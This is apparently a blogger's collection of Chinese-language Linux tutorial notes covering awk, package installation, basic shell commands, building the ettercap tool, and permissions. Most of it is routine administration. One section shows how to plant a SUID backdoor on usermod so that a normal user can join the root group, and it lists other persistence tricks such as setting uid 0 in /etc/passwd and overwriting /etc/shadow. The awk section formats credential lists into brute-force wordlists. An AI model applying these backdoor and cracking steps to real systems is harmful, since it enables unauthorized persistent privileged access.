awk默认是以行为单位处理文本的，对文本中的每一行都执行后面 “{ }” 中的语句。

0x00 awk

• 若有一个需要重新格式化的字典test.txt(用户名、密码、地址)：

xiaosan sadasdw jiaozuo
234wer  asdfasd asdas
1111    aaaa    cccc
2222    aaaa    degd
1111    aaaa    cccc
3333    aaaa    dfger
21asd   sdfsd   sadasd
dwqx    asds    sasdfcv

• 要求：

1.里面有重复数据，使用命令去重
2.提取出用户名和密码 每一行前面加上id数字，递增。
3.只提取出密码作为爆破字典
4.某些公司都是一个公司前缀+姓名简写，所以为用户名一栏全部改为uv_用户名
5.提取出密码一列，有些密码爆破成功率高，所以增加一列，标出密码出现次数

0x01 去重

$ cat test.txt | awk '!a[$1]++'
$ cat test.txt | uniq #作用和上面命令相同
xiaosan sadasdw jiaozuo
234wer  asdfasd asdas
1111    aaaa    cccc
2222    aaaa    degd
3333    aaaa    dfger
21asd   sdfsd   sadasd
dwqx    asds    sasdfcv

0x02 去重、添加id

一般字典不需要id、user、pass等标示符，这里只是为了便于观看

$ cat test.txt | awk '!a[$1]++' | awk -F '\t' '{print "id:"NR"\tuser:"$1"\tpass:"$2"\taddress:"$3}' | column -t  #最后一个命令可以将列对齐
id:1    user:aosan      pass:sadasdw    address:jiaozuo
id:2    user:234wer     pass:asdfasd    address:asdas
id:3    user:1111       pass:aaaa       address:cccc
id:4    user:2222       pass:aaaa       address:degd
id:5    user:3333       pass:aaaa       address:dfger
id:6    user:21asd      pass:sdfsd      address:sadasd
id:7    user:dwqx       pass:asds       address:sasdfcv

0x03 去重、添加id、添加公司前缀

$ cat test.txt | awk '!a[$1]++' | awk -F '\t' '{print "id:"NR"\tuser:uv_"$1"\tpass:"$2"\taddress:"$3}'
id:1    user:uv_aosan   pass:sadasdw    address:jiaozuo
id:2    user:uv_234wer  pass:asdfasd    address:asdas
id:3    user:uv_1111    pass:aaaa       address:cccc
id:4    user:uv_2222    pass:aaaa       address:degd
id:5    user:uv_3333    pass:aaaa       address:dfger
id:6    user:uv_21asd   pass:sdfsd      address:sadasd
id:7    user:uv_dwqx    pass:asds       address:sasdfcv

0x04 去重然后输出密码

$ cat test.txt | awk '!a[$1]++' | awk -F '\t' '{print "pass:"$2}'
pass:sadasdw
pass:asdfasd
pass:aaaa
pass:aaaa
pass:aaaa
pass:sdfsd
pass:asds

0x05 输出密码、得到密码出现次数

下面的'a[$1]++'是按第一列来去重的,若有两条数据只有第一列重复则成功，可以用$0按行来去重
$ cat test.txt | awk '!a[$1]++' | awk -F '\t' '{print $2}' | awk '{a[$1]++} END {for (j in a) print a[j],j}'
1 sadasdw
1 sdfsd
1 asdfasd
1 asds
3 aaaa

uniq 只能去除挨着的重复数据，所以先sort升序排序，然后uniq -c统计重复，再sort -r降序排序
cat test.txt | awk '{print $2}' | sed '1d' |sort | uniq -c |sort -r

0x06 其他：

• 对!a[$1]++的解释如下：

  • a[e54r56wer]为空，!a[e54r56wer]为真，可以输出，然后++
  • 若再来一个a[e54r56wer]，因为上一步已经++，此时值为1，!a[e54r56wer]为假，不输出，再++

• 对for输出数组的解释如下：
  awk '{a[$1]++} END {for (j in a) print a[j],j}' test.txt

  • 在遍历完文件后，通过END把后面的句子连起来
  • for (j in a) 是指打印数组a的下标，并定义下标为变量j
  • 最后print a[j],j就是打印数组下标和数组，这样就相同的$1排重并计数

这里介绍3种方式：awk、grep、sed

0x00 awk处理文本(最常用)

作用：awk对数据以行分析并生成报告时显得很强大，它将行进行切片，再处理分开的切片，可对格式化的数据重新进行格式化  
awk命令格式：awk [F filed-separator] 'commands' input-fiel(s)  
参数-F：可以添加任意的分割符，比较重要  
awk工作流程是这样的：  
读入有'\n'换行符分割的一条记录，然后将记录按-F指定的域分隔符划分域，$0则表示所有域,$1表示第一个域,$n表示第n个域。默认域分隔符是"空白键" 或 "[tab]键"。

• 入门示例：

[wyb@localhost temp]$ head -n 5 /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
[wyb@localhost temp]$ head -n 5 /etc/passwd | awk -F ':' '{print $1}' #输出第1列，域分隔符为：
root
bin
daemon
adm
lp
[wyb@localhost temp]$ head -n 5 /etc/passwd | awk -F ':'  '{pri
nt "id:"$1"\tshell:"$7}' #输出第1、7列且给予列名
id:root shell:/bin/bash
id:bin  shell:/sbin/nologin
id:daemon       shell:/sbin/nologin
id:adm  shell:/sbin/nologin
id:lp   shell:/sbin/nologin
[wyb@localhost temp]$ head -n 5 /etc/passwd | awk -F ':'  'BEGIN {print "====begin====="} {print "id:"$1"\tshell:"$7} END {print "====end===="}'
====begin=====
id:root shell:/bin/bash
id:bin  shell:/sbin/nologin
id:daemon       shell:/sbin/nologin
id:adm  shell:/sbin/nologin
id:lp   shell:/sbin/nologin
====end====
[wyb@localhost temp]$ awk -F: '/root/' /etc/passwd #搜索含有root关键字的所有行
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
[wyb@localhost temp]$ awk -F: '/root/{print $7}' /etc/passwd #匹配root并输出对应shell
/bin/bash
/sbin/nologin
[wyb@localhost temp]$ awk -F: '/^root/' /etc/passwd #匹配以root开头的行
root:x:0:0:root:/root:/bin/bash

• 内置变量：

• awk编程：

  • 变量和赋值：

  [wyb@localhost temp]$ head -n 5 /etc/passwd | awk -F ':'  'BEGIN {count=0} {count++; print "username:"$1} END {print "count:"count}'
  username:root
  username:bin
  username:daemon
  username:adm
  username:lp
  count:5
  [wyb@localhost ~]$ ls -l aaa/ettercap-0.8.2 | awk 'BEGIN {size=0;} {size=size+5;} END {print "[end]size is:",size,"byte"}'
  [end]size is: 160 byte
  [wyb@localhost ~]$ ls -l aaa/ettercap-0.8.2 | awk 'BEGIN {size=0;} {size=size+5;} END {print "[end]size is:",size/1024/1024,"M"}'
  [end]size is: 0.000152588 M
  

  • 条件语句：

  [wyb@localhost ~]$ head -n 6 /etc/passwd | awk -F ':' '{if($1=="root") print "root bash is:"$7}'
  root bash is:/bin/bash
  [wyb@localhost ~]$ 
  

Linux上的软件安装可以分为三种方式：

0x00 yum安装

yum基于RPM包管理，一次性安装所有依赖包，提供了查找、安装、删除一个、一组
至全部软件包的命令，配置文件在/etc/yum.repos.d/下
主要命令：
yum install gcc g++
yum remove wget
yum list installed //显示已经安装过的软件
yum list   //显示所有可以安装的包

[wyb@localhost ~]$ wget -h  //验证有没有安装wget
-bash: /usr/bin/wget: No such file or directory
[wyb@localhost ~]$ sudo yum search wget  //通过yum查找wget，看有没有这个软件包
Loaded plugins: fastestmirror, refresh-packagekit, security
Loading mirror speeds from cached hostfile
 * base: mirrors.yun-idc.com
 * extras: mirrors.pubyun.com
 * updates: mirrors.yun-idc.com
============================== N/S Matched: wget ===============================
wget.x86_64 : A utility for retrieving files using the HTTP or FTP protocols

  Name and summary matches only, use "search all" for everything.
[wyb@localhost ~]$ sudo yum deplist wget  //列出安装包的依赖项
Loaded plugins: fastestmirror, refresh-packagekit, security
Loading mirror speeds from cached hostfile
 * base: mirrors.yun-idc.com
 * extras: mirrors.pubyun.com
 * updates: mirrors.yun-idc.com
Finding dependencies: 
package: wget.x86_64 1.12-5.el6_6.1
  dependency: libssl.so.10()(64bit)
   provider: openssl.x86_64 1.0.1e-42.el6
   provider: openssl.x86_64 1.0.1e-42.el6_7.1
   provider: openssl.x86_64 1.0.1e-42.el6_7.2
   provider: openssl.x86_64 1.0.1e-42.el6_7.4
[wyb@localhost ~]$ sudo yum install wget  //安装一个或两个软件包
Loaded plugins: fastestmirror, refresh-packagekit, security
Loading mirror speeds from cached hostfile
 * base: mirrors.yun-idc.com
 * extras: mirrors.pubyun.com
 * updates: mirrors.yun-idc.com
Setting up Install Process
Resolving Dependencies
--> Running transaction check
---> Package wget.x86_64 0:1.12-5.el6_6.1 will be installed
--> Finished Dependency Resolution
[wyb@localhost ~]$ sudo yum remove wget   //移除wget
[sudo] password for wyb: 
Loaded plugins: fastestmirror, refresh-packagekit, security
Setting up Remove Process
Resolving Dependencies
--> Running transaction check
---> Package wget.x86_64 0:1.12-5.el6_6.1 will be erased
--> Finished Dependency Resolution

0x01 rpm安装

分为：二进制包和源代码包
二进制包可直接安装，源码包会由rpm自动编译、安装，安装包常以src、rpm做为后缀

0x00 ls：显示文件

[wyb@localhost tmp]$ ls
a  a.txt
[wyb@localhost tmp]$ ls -l
total 4
drwxr-xr-x. 2 wyb root 4096 Apr 17 18:23 a
-rw-r--r--. 1 wyb root    0 Apr 17 18:23 a.txt
[wyb@localhost tmp]$ ls -a
.  ..  a  a.txt  .esd-500  .ICE-unix
[wyb@localhost tmp]$ ls -al
total 20
drwxrwxrwt.  5 root root 4096 Apr 17 18:23 .
dr-xr-xr-x. 22 root root 4096 Apr 17 16:31 ..
drwxr-xr-x.  2 wyb  root 4096 Apr 17 18:23 a
-rw-r--r--.  1 wyb  root    0 Apr 17 18:23 a.txt
drwx------.  2 wyb  wyb  4096 Apr 10 19:15 .esd-500
drwxrwxrwt.  2 root root 4096 Apr 17 16:31 .ICE-unix

0x02 pwd：查看当前工作路径

[wyb@localhost ~]$ pwd  
/home/wyb

0x03 cd：切换目录

[wyb@localhost ~]$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos
[wyb@localhost ~]$ cd Desktop/     //相对路径
[wyb@localhost Desktop]$ cd /tmp/a    //绝对路径
[wyb@localhost a]$ pwd
/tmp/a
[wyb@localhost a]$ cd -  //返回原来的目录
[wyb@localhost Desktop]$ pwd
/home/user/reber/Desktop

0x04 mkdir：新建文件夹

[wyb@localhost tmp]$ ls
a  a.txt
[wyb@localhost tmp]$ mkdir bbb
[wyb@localhost tmp]$ ls
a  a.txt  bbb

0x05 touch/vim：新建文件

[wyb@localhost tmp]$ ls
a  a.txt  bbb
[wyb@localhost tmp]$ touch bbb.txt
[wyb@localhost tmp]$ ls
a  a.txt  bbb  bbb.txt

0x06 rm：删除文件

[wyb@localhost tmp]$ ls
a  a.txt  bbb  bbb.txt  c.txt
[wyb@localhost tmp]$ rm c.txt   //删除文件c.txt
[wyb@localhost tmp]$ ls
a  a.txt  bbb  bbb.txt
[wyb@localhost tmp]$ rm a   //删除文件夹a，结果不能删除
rm: cannot remove `a': Is a directory
[wyb@localhost tmp]$ rm -r a   //加上-r才能删除文件夹
[wyb@localhost tmp]$ ls
a.txt  bbb  bbb.txt

0x07 ifconfig：查看网卡的信息

[wyb@localhost tmp]$ ifconfig
eth0    Link encap:Ethernet  HWaddr 00:0C:29:56:B4:10  
        inet addr:192.168.63.131  Bcast:192.168.63.255  Mask:255.255.255.0
        inet6 addr: fe80::20c:29ff:fe56:b410/64 Scope:Link
        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
        RX packets:67099 errors:0 dropped:0 overruns:0 frame:0
        TX packets:34939 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:1000 
        RX bytes:94042525 (89.6 MiB)  TX bytes:1995748 (1.9 MiB)

lo      Link encap:Local Loopback  
        inet addr:127.0.0.1  Mask:255.0.0.0
        inet6 addr: ::1/128 Scope:Host
        UP LOOPBACK RUNNING  MTU:16436  Metric:1
        RX packets:0 errors:0 dropped:0 overruns:0 frame:0
        TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:0 
        RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

0x08 netstat：查找网络连接信息

netstat -l   //listen状态的
netstat -an  //显示所有的连接信息，且以ip地址代替名称
netstat -t   //显示tcp连接信息
netstat -u   //显示udp连接信息
LISTENING	//监听端口状态
ESTABLSHED	//建立连接
CLOSE_WAIT	//对方主动断开连接，此时我方就会变为这个状态，我方要调用close()
TIME_WAIT	//我方主动调用close(),对方收到后变为CLOSE_WAIT
[root@localhost ~]# netstat -l -n
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address               Foreign Address远程         State      
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN  所有ip均可连接22
tcp        0      0 127.0.0.1:631               0.0.0.0:*                   LISTEN
tcp        0      0 127.0.0.1:25                0.0.0.0:*                   LISTEN  只有127.0.0.1连接25端口
tcp        0      0 :::22                       :::*                        LISTEN      
tcp        0      0 ::1:631                     :::*                        LISTEN  
Active UNIX domain sockets (only servers)
Proto RefCnt Flags       Type       State         I-Node Path
unix  2      [ ACC ]     STREAM     LISTENING     14229  public/cleanup
unix  2      [ ACC ]     STREAM     LISTENING     14236  private/tlsmgr
unix  2      [ ACC ]     STREAM     LISTENING     14240  private/rewrite
unix  2      [ ACC ]     STREAM     LISTENING     14244  private/bounce
unix  2      [ ACC ]     STREAM     LISTENING     14248  private/defer

0x09 nslookup：查看DNS信息

nslookup 查看ip和域名的相互映射
nslookup www.baidu.com   //返回一些信息

0x0A ping

ping -c 3 www.baidu.com   //指定ping百度3次

0x0B last/finger：查看近期的登陆信息

[root@localhost ~]# last

[root@localhost ~]# finger

0x0C find：查找文件

which vim   //查看可执行文件的位置
*which是通过 PATH环境变量到该路径内查找可执行文件，所以基本的功能是寻找可执行文件* 

whereis、locate也可查找文件,它们是使用数据库来搜索数据

find . -name 1.txt  //查找当前文件夹及子目录下的1.txt、
find . -name *.txt  //使用通配符
find /bin -perm 755 //返回的都是755权限的文件  
find /bin -perm 4755  //返回有gid(即s权限)的文件    2是gid
[wyb@localhost tmp]$ sudo find / -name *.log    //根目录下查找名字以log结尾的文件
/var/spool/plymouth/boot.log
/var/log/wpa_supplicant.log
/var/log/dracut.log
/var/log/vmware-tools-upgrader.log
[wyb@localhost ~]$ find /bin -perm 755 | xargs ls -al   //前一个命令的输出作为后一个命令的输入
-rwxr-xr-x. 1 root root    123 Feb 21  2013 /bin/alsaunmute
-rwxr-xr-x. 1 root root  27776 Jun 22  2012 /bin/arch
-rwxr-xr-x. 1 root root  26264 Jun 22  2012 /bin/basename
-rwxr-xr-x. 1 root root 938768 Feb 21  2013 /bin/bash
-rwxr-xr-x. 1 root root  48568 Jun 22  2012 /bin/cat
-rwxr-xr-x. 1 root root  55472 Jun 22  2012 /bin/chgrp
-rwxr-xr-x. 1 root root  52472 Jun 22  2012 /bin/chmod

0x0D grep

//可以遍历查询mkr文件夹下含有字符串"reber"的文件及字符串所在行
reber@WYB:~$ grep -Rn "reber" mkdir   
mkr/cc:3:reber
mkr/a/a.txt:3:reber
mkr/a/b.txt:16:reber
mkr/b/xx:8:reber

0x0E cat/nl

前者显示
后者显示的同时有行号
[wyb@localhost tmp]$ cat > a.txt  //创建文件同时写入数据
this is a.txt
^C
[wyb@localhost tmp]$ cat > b.txt
this is b.txt
^C
[wyb@localhost tmp]$ cat a.txt b.txt > c.txt   //合并文件
[wyb@localhost tmp]$ cat c.txt 
this is a.txt
this is b.txt
[wyb@localhost tmp]$ cat -n c.txt   //获取文件内容切添加行号
 1  this is a.txt
 2  this is b.txt

0x0F head

[wyb@localhost tmp]$ head /etc/passwd   //默认显示前10行
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

[wyb@localhost tmp]$ head -n 4 /etc/passwd  //设置显示前4行
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin

[wyb@localhost tmp]$ head -c 100 d.txt //显示前100个字节
     1  this is a.txt
     2  this is b.txt
this is add content
     1  this is a.txt
     2  this is b.[wyb@localhost tmp]$ 

0x10 tail

[wyb@localhost tmp]$ tail -f a.txt  //实时显示文件后10行
this is a.txt
111111
aaaaaa
^C

[wyb@localhost tmp]$ tail -n 3 d.txt //显示文件后3行
     1  this is a.txt
     2  this is b.txt
this is add content

[wyb@localhost tmp]$ tail -c 100 d.txt //显示后100个字节
  2     this is b.txt
this is add content
     1  this is a.txt
     2  this is b.txt
this is add content
[wyb@localhost tmp]$ 

0x11 scp

向远程服务器put文件和文件夹，默认就是22端口
scp -P 22 ./aa.txt reber@123.206.78.220:/home/reber
scp -r ./bb reber@123.206.78.220:/home/reber

从服务器下载文件和文件夹
scp -P 2222 ubuntu@123.22.38.215:/home/reber/a.txt D:/a.txt
scp -r -P 2222 ubuntu@123.22.38.215:/home/reber/test D:/test/

0x12 磁盘

fdisk /dev/sdb
sudo mkfs.ext3 /dev/sdb1
mount -t ext3 -o rw /dev/sdb1 /home/aaa  //-o指定权限

0x13 时间同步

ntpdate time.nist.gov //需要root权限

0x14 下载

$ curl -o aa.xml http://wyb0.com/index.xml #可以访问网页，它同时还保存了文件，文件名为aa.xml
$ wget http://wyb0.com/index.xml #下载的文件名为index.xml

0x15 环境变量

$ env

0x16 压缩与解压缩

• tar
  • tar主要参数

  # 主要参数
  -c  创建一个新的压缩文件
  -x  解压
  -t  查看压缩文件的内容
  -f  指定档案文件的名字
  -v  显示过程信息
  -r  增加文件到指定的包
  -C  指定解压后的路径
  -z  使用gzip
  -j  使用bzip2
  -Z  使用compress
  

  • tar示例

  # tar用法示例
  $ ls
  aaa
  $ tar -cvf 1.tar aaa/   #打包不压缩
  aaa/
  aaa/b.txt
  aaa/c.txt
  aaa/test.txt
  aaa/a.txt
  $ tar -zcvf 1.tar.gz aaa/   #打包且以gzip压缩
  aaa/
  aaa/b.txt
  aaa/c.txt
  aaa/test.txt
  aaa/a.txt
  $ tar -jcvf 1.tar.bz2 aaa/  #打包且以bzip2压缩
  aaa/
  aaa/b.txt
  aaa/c.txt
  aaa/test.txt
  aaa/a.txt
  tar -zxvf aa.tar.gz /home/aaa --exclude=dir  #排除目录
  $ ls -l
  total 24
  -rw-r--r--. 1 wyb root 10240 Apr 19 07:47 1.tar
  -rw-r--r--. 1 wyb root   265 Apr 19 07:48 1.tar.bz2
  -rw-r--r--. 1 wyb root   253 Apr 19 07:48 1.tar.gz
  drwxr-xr-x. 2 wyb root  4096 Apr 19 07:22 aaa
  $ file 1.tar.gz     #查看文件类型
  1.tar.gz: gzip compressed data, from Unix, last modified: Tue Apr 19 07:48:01 2016
  $ tar -ztvf 1.tar.gz    #查看压缩包内容
  drwxr-xr-x wyb/root          0 2016-04-19 07:22 aaa/
  -rw-r--r-- wyb/root          0 2016-04-19 05:05 aaa/b.txt
  -rw-r--r-- wyb/root          0 2016-04-19 05:05 aaa/c.txt
  -rw-r--r-- wyb/root         84 2016-04-19 05:50 aaa/test.txt
  -rw-r--r-- wyb/root          0 2016-04-19 05:05 aaa/a.txt
  $ ls
  1.tar  1.tar.bz2  1.tar.gz  aaa
  $ rm -rf aaa/
  $ ls
  1.tar  1.tar.bz2  1.tar.gz
  $ tar -zxvf 1.tar.gz    #解压到当前目录
  aaa/
  aaa/b.txt
  aaa/c.txt
  aaa/test.txt
  aaa/a.txt
  $ ls
  1.tar  1.tar.bz2  1.tar.gz  aaa
  $ ls aaa/
  a.txt  b.txt  c.txt  test.txt
  $ ls /tmp/
  111.txt  aa
  $ tar -zxvf 1.tar.gz -C /tmp/aa #解压到指定路径
  aaa/
  aaa/b.txt
  aaa/c.txt
  aaa/test.txt
  aaa/a.txt
  

• zip

# zip用法示例
[reber@localhost ~]$ ls aaa/
a.txt  b.txt  c.txt
[reber@localhost ~]$ zip -re aaa.zip aaa/   #加密压缩
Enter password: 
Verify password: 
  adding: aaa/ (stored 0%)
  adding: aaa/b.txt (stored 0%)
  adding: aaa/c.txt (stored 0%)
  adding: aaa/a.txt (stored 0%)
[reber@localhost ~]$ rm aaa/*
[reber@localhost ~]$ ls aaa/
[reber@localhost ~]$ unzip aaa.zip   #解压缩
Archive:  aaa.zip
[aaa.zip] aaa/b.txt password: 
 extracting: aaa/b.txt         
 extracting: aaa/c.txt               
 extracting: aaa/a.txt

0x00 服务：

在后台运行的软件就叫服务，参数一般为：start/stop/restart

• apache启动后默认降权

service httpd start实际调用的是/etc/init.d/httpd这个shell脚本
而/etc/init.d是软连接文件夹，实际在/etc/rc.d/init.d
[wyb@localhost ~]$ ls -al /etc/init.d
lrwxrwxrwx. 1 root root 11 Apr 11 02:54 /etc/init.d -> rc.d/init.d

• 添加服务
  将脚本放在/etc/init.d/下即可

• 若要自启则

0x00 准备

操作系统：CentOS  
首先，ettercap 安装时需要 4 个依赖包，而且安装包里面也已经提供了  
执行：sudo yum groupinstall "Development tools"    #源码安装软件就需要安装这个
使用 wget 下载 ettercap 源码

0x01 查看需要的依赖项

[wyb@localhost ettercap-0.8.2]$ vim INSTALL

 #### Bundled libraries  
 Ettercap now bundles the following libraries with the source distribution:  
   libnet 1.1.6  
   curl 7.41.0  
   luajit 2.0.3  
   check 0.9.14  
[wyb@localhost ettercap-0.8.2]$ cd bundled_deps/  
[wyb@localhost bundled_deps]$ ls  
check  curl  libnet  luajit

0x02 安装依赖包

1. 安装check

[wyb@localhost check]$ cd check-0.9.14
[wyb@localhost check-0.9.14]$ ls
[wyb@localhost check-0.9.14]$ ./configure 
[wyb@localhost check-0.9.14]$ make
[wyb@localhost check-0.9.14]$ sudo make install

2. 安装curl

[wyb@localhost check-0.9.14]$ cd ..
[wyb@localhost curl-7.41.0]$ cd curl/
[wyb@localhost curl-7.41.0]$ cd curl-7.41.0
[wyb@localhost curl-7.41.0]$ make
[wyb@localhost curl-7.41.0]$ sudo make install

3. 安装libnet

[wyb@localhost curl-7.41.0]$ cd ../../libnet/
[wyb@localhost libnet]$ tar -zxvf libnet-1.1.6.tar.gz
[wyb@localhost libnet]$ cd libnet-1.1.6
[wyb@localhost libnet-1.1.6]$ ./configure 
[wyb@localhost libnet-1.1.6]$ make
[wyb@localhost libnet-1.1.6]$ sudo make install

4. 安装luajit

[wyb@localhost luajit]$ tar -zxvf LuaJIT-2.0.3.tar.gz 
[wyb@localhost luajit]$ make
[wyb@localhost luajit]$ sudo make install

5. 安装ettercap

    [wyb@localhost ettercap-0.8.2]$ cd ettercap-0.8.2 
    [wyb@localhost ettercap-0.8.2]$ mkdir build                   
    [wyb@localhost ettercap-0.8.2]$ cd build  
    [wyb@localhost build]$ cmake ../    *cmake ettercap时提示未安装cmake*  
    -bash: cmake: command not found  
    [wyb@localhost build]$ sudo yum install cmake   *安装cmake*  
    [wyb@localhost build]$ cmake ../    *提示未安装curses*  
    -- The C compiler identification is GNU 4.4.7  
    -- Check for working C compiler: /usr/bin/cc  
    -- Check for working C compiler: /usr/bin/cc -- works  
    .....  
    .....  
    CMake Error at /usr/share/cmake/Modules/FindPackageHandleStandardArgs.cmake:108 (message):  
      Could NOT find Curses (missing: CURSES_LIBRARY CURSES_INCLUDE_PATH)  
    .....  
    .....  
    [wyb@localhost build]$ yum search curses    *查找curses*  
    Loaded plugins: fastestmirror, refresh-packagekit, security  
    Determining fastest mirrors  
     * base: mirrors.yun-idc.com  
     * extras: mirrors.opencas.cn  
     * updates: mirrors.btte.net
    ============================= N/S Matched: curses   ==============================  
    ncurses.x86_64 : Ncurses support utilities  
    ncurses-devel.i686 : Development files for the ncurses library  
    ncurses-devel.x86_64 : Development files for the ncurses library  
    ncurses-libs.x86_64 : Ncurses libraries  
    ncurses-libs.i686 : Ncurses libraries  
    ncurses-static.x86_64 : Static libraries for the ncurses library  
    ocaml-curses.x86_64 : OCaml bindings for ncurses    
    ocaml-curses-devel.x86_64 : Development files for ocaml-curses  
    ncurses-base.x86_64 : Descriptions of common terminals  
    ncurses-term.x86_64 : Terminal descriptions  
      Name and summary matches only, use "search all" for everything.  
    [wyb@localhost build]$ sudo yum install ncurses ncurses-devel   *安装ncurses开发包*  
    [wyb@localhost build]$ rm -rf *     *清除上次cmake产生的文件*  
    [wyb@localhost build]$ cmake ../    *出错，缺少依赖包GTK*  
    -- The C compiler identification is GNU 4.4.7  
    -- Check for working C compiler: /usr/bin/cc  
    ......  
    ......  
    CMake Error at /usr/share/cmake/Modules/FindGTK2.cmake:429 (message):  
      Could not find GTK2 include directory  
    ....  
    ....  
    [wyb@localhost build]$ yum search gtk  
    Loaded plugins: fastestmirror, refresh-packagekit, security  
    Loading mirror speeds from cached hostfile  
     * base: mirrors.yun-idc.com  
    .....  
    .....  
    gtk2.x86_64 : The GIMP ToolKit (GTK+), a library for creating GUIs for X  
    gtk2.i686 : The GIMP ToolKit (GTK+), a library for creating GUIs for X  
    gtk2-devel.i686 : Development files for GTK+   
    .... 
    ....  
    [wyb@localhost build]$ sudo yum install gtk2 gtk2-devel *安装gtk及开发包* 
    [wyb@localhost build]$ rm -rf *     *清除上次cmake产生的文件*  
    [wyb@localhost build]$ cmake ../    *缺少依赖包OpenSSL*  
    -- The C compiler identification is GNU 4.4.7  
    -- Check for working C compiler: /usr/bin/cc  
    -- Check for working C compiler: /usr/bin/cc -- works  
    -- Detecting C compiler ABI info  
    -- Detecting C compiler ABI info - done  
    -- Check if the system is big endian  
    .....  
    .....  
    CMake Error at /usr/share/cmake/Modules/FindPackageHandleStandardArgs.cmake:108 (message):  
      Could NOT find OpenSSL, try to set the path to OpenSSL root folder in the  
      system variable OPENSSL_ROOT_DIR (missing: OPENSSL_LIBRARIES OPENSSL_INCLUDE_DIR)    
    .....  
    .....  
    [wyb@localhost build]$ yum search openssl   *查找openssl*  
    [wyb@localhost build]$ sudo yum install openssl openssl-devel   *安装openss及其开发包*  
    [wyb@localhost build]$ rm -rf *     *清除上次cmake产生的文件*  
    [wyb@localhost build]$ cmake ../    *依赖libpcap*  
    ......  
    ......  
    -- Looking for inet_aton  
    -- Looking for inet_aton - found  
    CMake Error at cmake/Modules/EttercapLibCheck.cmake:191 (message):  
      libpcap not found!  
    ....  
    ....  
    [wyb@localhost build]$ yum search libpcap   *查找libpcap*  
    Loaded plugins: fastestmirror, refresh-packagekit, security  
    Loading mirror speeds from cached hostfile  
     * base: mirrors.yun-idc.com   
     * extras: mirrors.opencas.cn  
     * updates: mirrors.btte.net  
    ============================= N/S Matched: libpcap =============================  
    libpcap-devel.i686 : Libraries and header files for the libpcap library  
    libpcap-devel.x86_64 : Libraries and header files for the libpcap library  
    libpcap.x86_64 : A system-independent interface for user-level packet capture  
    libpcap.i686 : A system-independent interface for user-level packet capture  
      Name and summary matches only, use "search all" for everything.  
    [wyb@localhost build]$ sudo yum install libpcap-devel   *安装libpcap-devel*  
    [wyb@localhost build]$ rm -rf *     *清除上次cmake产生的文件*  
    [wyb@localhost build]$ cmake ../    *cmake成功*  
    [wyb@localhost build]$ make *make*  
    ....  
    ....  
    Linking C executable etterlog  
    [100%] Built target etterlog  
    Scanning dependencies of target man  
    [100%] Built target man  
    [wyb@localhost build]$ sudo make install    *make install*  
    .....  
    .....   
    -- Installing: /usr/local/share/man/man8/ettercap_curses.8  
    -- Installing: /usr/local/share/man/man8/ettercap-pkexec.8  
    -- Installing: /usr/local/share/man/man5/etter.conf.5  
    [wyb@localhost build]$ cd  
    [wyb@localhost ~]$ ettercap -v  *查看版本且能查看，证明安装成功*  
    ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team  
    ettercap 0.8.2  
    [wyb@localhost ~]$
   

SUID可以用来做后门，前提是你已经获取了root权限，且给予s权限的文件必须为二进制

0x00 为二进制文件添加s权限从而提升为root权限

• 写sudoers添加用户 //最佳方案
• vim /etc/passwd //将uid和gid改为0
• vim /etc/shadow //密文覆盖
• vim root .ssh/证书文件 .ssh这个文件夹和证书的权限要正确，要和原来一致

0x01 SUID主要作用可以是留后门

• 在root权限下给usermod一个s权限

# which usermod   #得到usermod的路径                             
/usr/sbin/usermod
# chmod u+s /usr/sbin/usermod
# ls -l /usr/sbin/usermod
-rwsr-x---. 1 root root 98680 Dec  7  2011 /usr/sbin/usermod

• usermod给其他人一个x权限

[root@localhost ~]# chmod o+x /usr/sbin/usermod
[root@localhost ~]# ls -l /usr/sbin/usermod
-rwsr-x--x. 1 root root 98680 Dec  7  2011 /usr/sbin/usermod

• 切换到普通用户wyb

[wyb@localhost ~]$ id wyb
uid=500(wyb) gid=500(wyb) groups=500(wyb)
[wyb@localhost ~]$ usermod -g root wyb
[wyb@localhost ~]$ id wyb
uid=500(wyb) gid=0(root) groups=0(root)
[wyb@localhost ~]$ exit

• 验证

重新用wyb连接，此时即为root权限
[wyb@localhost ~]$ cd /root  #若能切换到此目录即证明确实获得了root权限
[wyb@localhost root]$ ls
anaconda-ks.cfg  install.log  install.log.syslog

0x02 查找拥有s权限的文件

• find / -perm -u=s -type f 2>/dev/null

0x01 新建用户

环境：Ubuntu 14.04.4

• Step1：添加新用户
  useradd -r -m -s /bin/bash 用户名

• Step2:配置新用户密码
  passwd 用户名

• Step3：给新添加的用户增加root权限
  visudo
  然后添加：
  用户名 ALL=(ALL:ALL) ALL

• ctrl+o 保存 ctrl+x 退出

主要有三种参数：rwx 对于文件来说：分别是读/写/执行
对于目录来说：r读目录结构；w操作目录结构；x进入目录
如：drwxr–r– 3 root root 4096 Jun 25 08:35 .ssh
若账号vbird不属于root群组，则vbird可以查询此目录下的文件名，没有x权限所以不能切换到此目录中